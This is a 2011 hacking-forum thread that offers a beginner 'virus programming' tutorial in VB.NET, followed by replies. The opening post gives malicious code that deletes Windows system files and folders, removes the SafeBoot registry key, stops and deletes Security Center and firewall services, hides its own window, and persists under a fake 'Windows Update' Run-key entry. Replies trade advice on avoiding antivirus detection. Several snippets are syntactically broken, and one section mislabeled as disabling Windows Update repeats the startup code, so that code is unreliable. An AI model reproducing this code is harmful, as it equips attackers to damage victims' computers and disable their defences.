Virus Programming[TUT-FOR BEGINERS]

Virus Programming[TUT-FOR BEGINERS] - Printable Version

+- Sinisterly (https://sinister.li)
+-- Forum: Coding (https://sinister.li/Forum-Coding)
+--- Forum: Visual Basic & .NET Framework (https://sinister.li/Forum-Visual-Basic-NET-Framework)
+--- Thread: Virus Programming[TUT-FOR BEGINERS] (/Thread-Virus-Programming-TUT-FOR-BEGINERS)

Pages: 1 2

Virus Programming[TUT-FOR BEGINERS] - JuiceKing - 07-29-2011

I'm beginner in virus programming in VB.NET, this tutorial is just for beginners.

Go to designer on the form and set the "Opacity" to "0" and "Visible" to "False" to hide Form1.

First hide your Form1 with this code:

Code:
Me.Hide

On the end add this code:

Code:
Me.close

OK, Let's start:

1.Kill Command Prompt (cmd.exe)

Code:
Me.Hide
Kill("C:\Windows\System32\cmd.exe")
Me.close

This code kill cmd.exe victim can't run Command Prompt.

2.Kill Taskmanager (taskmgr.exe)

Code:
Me.Hide
Kill("C:\Windows\System32\taskmgr.exe")
Me.close

This code kill process taskmgr.exe victim can't run Task Manager

3.Kill msconfig (msconfig.exe)

Code:
Me.Hide
Kill(C:\Windows\System32\msconfig.exe")
Me.close

This code kill process msconfig.exe victim can't run msconfig.

4.Kill regedit (regedit.exe)

Code:
Me.Hide
Kill("C:\Windows\regedit.exe")
Me.close

This code kill process regedit.exe victim can't run regedit.

5.Kill svchost.exe (Dangerous)

Code:
Me.Hide
Kill("C:\Windows\System32\svchost.exe
Me.close

This code kill process svchost.exe Careful with this code.

6.Kill shell.dll (Dangerous)

Code:
Me.Hide
Kill("C:\Windows\System32\shell.dll")
Me.close

This code kill shell.dll without this process PC can't work.Careful!

7.Kill winlogon.exe (Dangerous)

Code:
Me.Hide
Kill("C:\Windows\System32\winlogon.exe")
Me.close

This code kill process winlogon.exe careful!

Kill explorer.exe (Dangerous)

Code:
Me.Hide
Kill("C:\Windows\explorer.exe")
Me.close

This code kill explorer.exe Careful!

8.Process Killer

Code:
Me.Hide
Kill("C:\Windows\System32\cmd.exe")
Kill("C:\Windows\System32\taskmgr.exe")
Kill(C:\Windows\System32\msconfig.exe")
Kill("C:\Windows\regedit.exe")
Kill("C:\Windows\System32\svchost.exe
Kill("C:\Windows\System32\shell.dll")
Kill("C:\Windows\System32\winlogon.exe")
Kill("C:\Windows\explorer.exe")
Me.close

This kill processes.

Now you explain codes:

Shutdown:

Code:
Shell("Shutdown -s")

Restart:

Code:
Shell("Shutdown -r")

LogOff:

Code:
Shell("Shutdown -l")

Delete file:

Code:
Dim FileToDelete As String
FileToDelete = "C:\File.exe"
If System.IO.File.Exists(FileToDelete) = True Then
System.IO.File.Delete(FileToDelete)

Delete all files in folder:

Code:
My.Computer.FileSystem.DeleteDirectory("C:\Windows", FileIO.DeleteDirectoryOption.DeleteAllContents)

Delete registry:

Code:
My.Computer.Registry.LocalMachine.DeleteSubKey("HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SafeBoot")

Create registry:

Code:
Dim regKey As RegistryKey
regKey = Registry.LocalMachine.OpenSubKey("SOFTWARE", True)
regKey.CreateSubKey("MyApp")
regKey.Close()

Kill security center:

Code:
Shell "sc stop wscsvc", vbHide 'Stop Security Center
Shell "sc stop SharedAccess", vbHide 'Stop WinFirewall
Shell "sc delete SharedAccess", vbHide 'Kill WinFirewall
Shell "sc delete wscsvc", vbHide 'Kill Security Center
End sub

Disable firewall:

Code:
Dim Bumpbox As Process = New Process
Dim top As String = "netsh.exe"
Bumpbox.StartInfo.Arguments = ("firewall set opmode disable")
Bumpbox.StartInfo.FileName = top
Bumpbox.StartInfo.UseShellExecute = False
Bumpbox.StartInfo.RedirectStandardOutput = True
Bumpbox.StartInfo.CreateNoWindow = True
Bumpbox.Start()
Bumpbox.WaitForExit()

hide program:

Code:
Timer1.Interval = 100
Timer1.Enabled = True
Me.Opacity = 0
Me.Hide()
Me.ShowInTaskbar = False
Me.visible = False
Me.ControlBox = False
Me.Height = 0
Me.Width = 0
Me.ShowIcon = False
Me.TransparencyKey = Me.BackColor
Me.FormBorderStyle = BorderStyle.None

show and hide cursor:

Code:
Declarations:

Private Declare Function ShowCursor Lib "user32" (ByVal bShow As Long) As Long

Code:

Private Sub cmdHide_Click()
'To hide the cursor, use this:
ShowCursor (False)
End Sub

Private Sub cmdShow_Click()
'To show the cursor, use this:
ShowCursor (True)
End Sub

Get info av and firewall:

Code:
Public Function GetFWAV() As String
    On Error Resume Next
    Dim colItems As Object
    Dim objItem As Object
    Dim objWMIService As Object
    Set objWMIService = GetObject("winmgmts:\\.\root\SecurityCenter")

    Set colItems = objWMIService.ExecQuery("Select * from FirewallProduct")

    Dim tmp As String, endt As String
    tmp = "-"
    For Each objItem In colItems
        tmp = objItem.CompanyName & " " & objItem.DisplayName & " (" & objItem.versionnumber & ")"
        'objItem.Enabled
    Next
    endt = tmp
    tmp = "-"
    Set colItems = objWMIService.ExecQuery("Select * from AntiVirusProduct")

    For Each objItem In colItems
       tmp = objItem.CompanyName & " " & objItem.DisplayName & " (" & objItem.versionnumber & ")"
       'objItem.OnAccessScanningEnabled 'Enabled ?
       'objItem.ProductUptoDate 'Updated ?
    Next
    GetFWAV = endt & "|" & tmp
End Function

Add app to startup:

Code:
Imports System.IO
Imports Microsoft.Win32

Code:
Try
If System.IO.File.Exists(Path.GetTempPath() & "win_update.exe") = False Then
System.IO.File.Copy(System.Reflection.Assembly. _
GetExecutingAssembly.Location, Path.GetTempPath() & "win_update.exe")
End If
Catch ex As Exception

End Try
Try
Dim regKey As RegistryKey
regKey = Registry.CurrentUser.OpenSubKey("software\Microsoft\Windows\CurrentVersion\Run", True)
regKey.SetValue("Windows Update", Path.GetTempPath() & "win_update.exe")
regKey.Close()

Catch ex As Exception

End Try

Try
Dim regKey As RegistryKey
regKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True)
regKey.SetValue("Windows Update", Path.GetTempPath() & "win_update.exe")
regKey.Close()

Catch ex As Exception
End Try

Turn off windows update

Code:
Try
If System.IO.File.Exists(Path.GetTempPath() & "win_update.exe") = False Then
System.IO.File.Copy(System.Reflection.Assembly. _
GetExecutingAssembly.Location, Path.GetTempPath() & "win_update.exe")
End If
Catch ex As Exception

End Try
Try
Dim regKey As RegistryKey
regKey = Registry.CurrentUser.OpenSubKey("software\Microsoft\Windows\CurrentVersion\Run", True)
regKey.SetValue("Windows Update", Path.GetTempPath() & "win_update.exe")
regKey.Close()

Catch ex As Exception

End Try

Try
Dim regKey As RegistryKey
regKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True)
regKey.SetValue("Windows Update", Path.GetTempPath() & "win_update.exe")
regKey.Close()

Catch ex As Exception
End Try

For windows update code credits go to: 1234hotmaster

This is some useful codes.

If u have some virus codes share it here!I'll add in my thread and write a credits!Thanks!

If u copy this please give the credits to the maker: JuiceKing (me) Thanks! Smile

RE: Virus Programming[TUT-FOR BEGINERS] - 1llusion - 07-30-2011

Nice codes, however, some of them are out-dated and won't work, example - avira killer. the AV will notice this. Another prob would be deleting the system, from my experience, you can't do that, not only that you are deleting files that are used, but system files need more privs...

About the linux, pm me, I would be interested in working on some linux malware, however, VB.Net isn't best for linux malware because of lack of windows libs in linux... never really figured out how VB.Net works under linux...

thanks for the share =)

RE: Virus Programming[TUT-FOR BEGINERS] - DeffoN - 07-30-2011

Thanks Smile

i started VB and this is going to help Smile

Good Job !
Edit:Serbian Smile

Hi i am macedonian Smile

RE: Virus Programming[TUT-FOR BEGINERS] - ArkPhaze - 07-30-2011

Why do you use Me.Close so much? If you're program is set to close when the first form closes as the main form that will just exit your application. Then all following code will be useless anyway because your program isn't running lol. Unless these are supposed to be new programmatically generated forms for some reason?

RE: Virus Programming[TUT-FOR BEGINERS] - JuiceKing - 07-30-2011

(07-30-2011, 03:08 PM)DeffoN Wrote: Thanks i started VB and this is going to help
Good Job !
Edit:Serbian Hi i am macedonian

You're welcome, nice I'm help you! Nice you're Macedonian do you speak Serbian language? Smile

(07-30-2011, 03:14 PM)Infinity Wrote: Why do you use Me.Close so much? If you're program is set to close when the first form closes as the main form that will just exit your application. Then all following code will be useless anyway because your program isn't running lol. Unless these are supposed to be new programmatically generated forms for some reason?

First you add code:

Code:
Me.Hide

that hide programm then
add code:

Code:
Kill(C:\Windows\System32\cmd.exe")

that kill cmd.exe when is finished if u don't add code:

Code:
Me.close

Programm will show Form1 if u add code:

Code:
Me.close

Then when is finished programm will be closed.Form1 is hidden.Understand? Smile

RE: Virus Programming[TUT-FOR BEGINERS] - DeffoN - 07-30-2011

(07-30-2011, 04:05 PM)JuiceKing Wrote:
(07-30-2011, 03:08 PM)DeffoN Wrote: Thanks i started VB and this is going to help
Good Job !
Edit:Serbian Hi i am macedonian

You're welcome, nice I'm help you! Nice you're Macedonian do you speak Serbian language?

Yeah it is almost the same lang. Smile

RE: Virus Programming[TUT-FOR BEGINERS] - 1234hotmaster - 07-30-2011

hi nice thread but i want to put up some comments on each and/or a better code for them Smile

Code:
Me.Hide

wont be helpful since the forms shows for a millisecond then disappears the user can see it and suspect something is going on. for preventing that millisecond you can go in the designer on the form and set the "Opacity" to "0" and "Visible" to "False"

Code:
Kill("C:\Windows\System32\cmd.exe")
Kill("C:\Windows\System32\taskmgr.exe")
Kill(C:\Windows\System32\msconfig.exe")
Kill("C:\Windows\regedit.exe")
Kill("C:\Windows\System32\svchost.exe")
Kill("C:\Windows\System32\shell.dll")
Kill("C:\Windows\System32\winlogon.exe")
Kill("C:\Windows\explorer.exe")

As 1llusion said you need permission to delete them and windows doesn't give anyone that permission
PS: will make your app detected badly.

Code:
Kill("C:\Program Files\Avira\AntiVir Desktop\avcenter.exe")

Im pretty sure this code will make it detected by few AV and plus it wont work since i think Avira coders aren't that dumb to put permission on they're files plus if the process is running it wont get deleted.

Code:
Kill("C:\Program Files\Sandboxie\sbiectrl.exe")

Sandboxie process is always running if installed so no hope Tongue

Code:
Dim FileToDelete As String
FileToDelete = "C:\File.exe"
If System.IO.File.Exists(FileToDelete) = True Then
System.IO.File.Delete(FileToDelete)

or you can do it the easy way :epic:

Code:
On Error Resume Next
IO.File.Delete("C:\file.exe")

Code:
Dim file As System.IO.FileStream
file = System.IO.File.Create("c:\test.exe")

i don't think thats how to make a file plus even if you make a file its empty Biggrin

Code:
Shell "sc stop wscsvc", vbHide 'Stop Security Center
Shell "sc stop SharedAccess", vbHide 'Stop WinFirewall
Shell "sc delete SharedAccess", vbHide 'Kill WinFirewall
Shell "sc delete wscsvc", vbHide 'Kill Security Center

nice but i think they work for XP only Tongue

Code:
Try
If System.IO.File.Exists(Path.GetTempPath() & "win_update.exe") = False Then
System.IO.File.Copy(System.Reflection.Assembly. _
GetExecutingAssembly.Location, Path.GetTempPath() & "win_update.exe")
End If
Catch ex As Exception

End Try
Try
Dim regKey As RegistryKey
regKey = Registry.CurrentUser.OpenSubKey("software\Microsoft\Windows\CurrentVersion\Run", True)
regKey.SetValue("Windows Update", Path.GetTempPath() & "win_update.exe")
regKey.Close()

Catch ex As Exception

End Try

Try
Dim regKey As RegistryKey
regKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True)
regKey.SetValue("Windows Update", Path.GetTempPath() & "win_update.exe")
regKey.Close()

Catch ex As Exception
End Try

nice but thats detected badly... like 8 AV detect that...
PS: credit the person who posted that code :thumbs:

and all the windows file deletion they wont work sorry to disappoint you =[

the rest, Nice job :thumbs: liked the thread keep it up :thumbs:

RE: Virus Programming[TUT-FOR BEGINERS] - JuiceKing - 07-30-2011

(07-30-2011, 08:31 PM)1234hotmaster Wrote: hi nice thread but i want to put up some comments on each and/or a better code for them

Code:
Me.Hide
wont be helpful since the forms shows for a millisecond then disappears the user can see it and suspect something is going on. for preventing that millisecond you can go in the designer on the form and set the "Opacity" to "0" and "Visible" to "False"

Code:
Kill("C:\Windows\System32\cmd.exe") Kill("C:\Windows\System32\taskmgr.exe") Kill(C:\Windows\System32\msconfig.exe") Kill("C:\Windows\regedit.exe") Kill("C:\Windows\System32\svchost.exe") Kill("C:\Windows\System32\shell.dll") Kill("C:\Windows\System32\winlogon.exe") Kill("C:\Windows\explorer.exe")
As 1llusion said you need permission to delete them and windows doesn't give anyone that permission
PS: will make your app detected badly.

Code:
Kill("C:\Program Files\Avira\AntiVir Desktop\avcenter.exe")
Im pretty sure this code will make it detected by few AV and plus it wont work since i think Avira coders aren't that dumb to put permission on they're files plus if the process is running it wont get deleted.

Code:
Kill("C:\Program Files\Sandboxie\sbiectrl.exe")
Sandboxie process is always running if installed so no hope

Code:
Dim FileToDelete As String FileToDelete = "C:\File.exe" If System.IO.File.Exists(FileToDelete) = True Then System.IO.File.Delete(FileToDelete)

or you can do it the easy way :epic:

Code:
On Error Resume Next IO.File.Delete("C:\file.exe")

Code:
Dim file As System.IO.FileStream file = System.IO.File.Create("c:\test.exe")
i don't think thats how to make a file plus even if you make a file its empty

Code:
Shell "sc stop wscsvc", vbHide 'Stop Security Center Shell "sc stop SharedAccess", vbHide 'Stop WinFirewall Shell "sc delete SharedAccess", vbHide 'Kill WinFirewall Shell "sc delete wscsvc", vbHide 'Kill Security Center

nice but i think they work for XP only

Code:
Try If System.IO.File.Exists(Path.GetTempPath() & "win_update.exe") = False Then System.IO.File.Copy(System.Reflection.Assembly. _ GetExecutingAssembly.Location, Path.GetTempPath() & "win_update.exe") End If Catch ex As Exception End Try Try Dim regKey As RegistryKey regKey = Registry.CurrentUser.OpenSubKey("software\Microsoft\Windows\CurrentVersion\Run", True) regKey.SetValue("Windows Update", Path.GetTempPath() & "win_update.exe") regKey.Close() Catch ex As Exception End Try Try Dim regKey As RegistryKey regKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True) regKey.SetValue("Windows Update", Path.GetTempPath() & "win_update.exe") regKey.Close() Catch ex As Exception End Try
nice but thats detected badly... like 8 AV detect that...
PS: credit the person who posted that code :thumbs:

and all the windows file deletion they wont work sorry to disappoint you =[

the rest, Nice job :thumbs: liked the thread keep it up :thumbs:

Thank you! :thumbs: You're right :'( I will edit thread.

RE: Virus Programming[TUT-FOR BEGINERS] - JuiceKing - 07-30-2011

(07-30-2011, 08:31 PM)1234hotmaster Wrote: hi nice thread but i want to put up some comments on each and/or a better code for them

Code:
Me.Hide
wont be helpful since the forms shows for a millisecond then disappears the user can see it and suspect something is going on. for preventing that millisecond you can go in the designer on the form and set the "Opacity" to "0" and "Visible" to "False"

Code:
Kill("C:\Windows\System32\cmd.exe") Kill("C:\Windows\System32\taskmgr.exe") Kill(C:\Windows\System32\msconfig.exe") Kill("C:\Windows\regedit.exe") Kill("C:\Windows\System32\svchost.exe") Kill("C:\Windows\System32\shell.dll") Kill("C:\Windows\System32\winlogon.exe") Kill("C:\Windows\explorer.exe")
As 1llusion said you need permission to delete them and windows doesn't give anyone that permission
PS: will make your app detected badly.

Code:
Kill("C:\Program Files\Avira\AntiVir Desktop\avcenter.exe")
Im pretty sure this code will make it detected by few AV and plus it wont work since i think Avira coders aren't that dumb to put permission on they're files plus if the process is running it wont get deleted.

Code:
Kill("C:\Program Files\Sandboxie\sbiectrl.exe")
Sandboxie process is always running if installed so no hope

Code:
Dim FileToDelete As String FileToDelete = "C:\File.exe" If System.IO.File.Exists(FileToDelete) = True Then System.IO.File.Delete(FileToDelete)

or you can do it the easy way :epic:

Code:
On Error Resume Next IO.File.Delete("C:\file.exe")

Code:
Dim file As System.IO.FileStream file = System.IO.File.Create("c:\test.exe")
i don't think thats how to make a file plus even if you make a file its empty

Code:
Shell "sc stop wscsvc", vbHide 'Stop Security Center Shell "sc stop SharedAccess", vbHide 'Stop WinFirewall Shell "sc delete SharedAccess", vbHide 'Kill WinFirewall Shell "sc delete wscsvc", vbHide 'Kill Security Center

nice but i think they work for XP only

Code:
Try If System.IO.File.Exists(Path.GetTempPath() & "win_update.exe") = False Then System.IO.File.Copy(System.Reflection.Assembly. _ GetExecutingAssembly.Location, Path.GetTempPath() & "win_update.exe") End If Catch ex As Exception End Try Try Dim regKey As RegistryKey regKey = Registry.CurrentUser.OpenSubKey("software\Microsoft\Windows\CurrentVersion\Run", True) regKey.SetValue("Windows Update", Path.GetTempPath() & "win_update.exe") regKey.Close() Catch ex As Exception End Try Try Dim regKey As RegistryKey regKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True) regKey.SetValue("Windows Update", Path.GetTempPath() & "win_update.exe") regKey.Close() Catch ex As Exception End Try
nice but thats detected badly... like 8 AV detect that...
PS: credit the person who posted that code :thumbs:

and all the windows file deletion they wont work sorry to disappoint you =[

the rest, Nice job :thumbs: liked the thread keep it up :thumbs:

Thank you! :thumbs: You're right :'( I will edit thread.

RE: Virus Programming[TUT-FOR BEGINERS] - 1234hotmaster - 07-30-2011

no don't i like the passion you had to write this :thumbs:
keep it Wink